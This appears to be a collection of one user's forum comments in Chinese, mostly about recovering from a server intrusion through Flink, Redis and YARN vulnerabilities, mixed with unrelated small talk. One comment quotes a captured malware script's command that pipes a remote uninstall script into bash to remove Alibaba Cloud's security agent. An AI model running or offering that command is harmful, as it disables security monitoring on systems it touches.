thx @hx1997
已找到磁盘隔离区对应位置了。But ... 为啥不显示。现在的问题就是如何恢复这个文件为原文了。

```
-rw-r--r--@ 1 root wheel 48177 11 3 12:09 /Library/Application Support/Avira Security/Quarantine/storage/C0B8C02A-3F8C-4618-9E9F-A942D84563AA
```

@huntagain2008 先卸载小红伞。。。

@sunjiayao 其实我是费了九牛二虎之力才知道被它删除了，但是就在我感觉能找回文件的时候，它突然告诉我隔离区是空的！

哈哈。现在都用啥啊？

@0x73346b757234 thx 。分享的腾讯系列的文章有帮助。排查了一下这次是利用了 flink 漏洞。补充到附言啦。

@dier git 可太重要了。备份 N 个都不过分。

@ugorange 学习了。👍。

@046569 日志服务器的点子不错。后续有意搭建一个。thx 。

@sssbbb 怀疑是 jumperserver key 泄露了。但无证据。。。

@chiuan 中招的里边有阿里云和腾讯云服务器。估计我们用的不规范吧。还在找原因。

@0x73346b757234 感谢大佬。～～ 很有帮助。
这个 ip 简直一样，请问大佬怎么获取到这个 ip 的。 😭。

谢谢各位。redis 漏洞、scrapyd 漏洞、yarn 漏洞目前已知都可能被利用。开源框架果真有利有弊。。。
我再排查一下服务器日志。
另外这个 spr.sh 已经被我捕获到一份。感觉是针对阿里云的。获得权限进去后，先尝试用 curl http://update.aegis.aliyun.com/download/uninstall.sh | bash 卸载阿里云相关的东西。

@melsp 也是最近吗？ 搞定了吗。勒索就严重了。我们现在庆幸不是勒索。运维在疯狂加班。

好几本买了好几年了，停留在第一章。😭

优衣库 注意袜子长短...

天津其实不错的 双城比较方便 秦皇岛跨城太乏力了

看了楼上各位的恢复。听说清洗很麻烦，能做的烤箱还都能干。实力劝退了。。

@JavasBoy 老哥，Genius ！

补充下。使用 otpauth 协议链接获取动态码。

totp = pyotp.parse_uri("otpauth://totp/XXX")
print("PASSWD " + totp.now())

北京发来贺电。希望这样的事情越来越多。保护原创，尊重创新！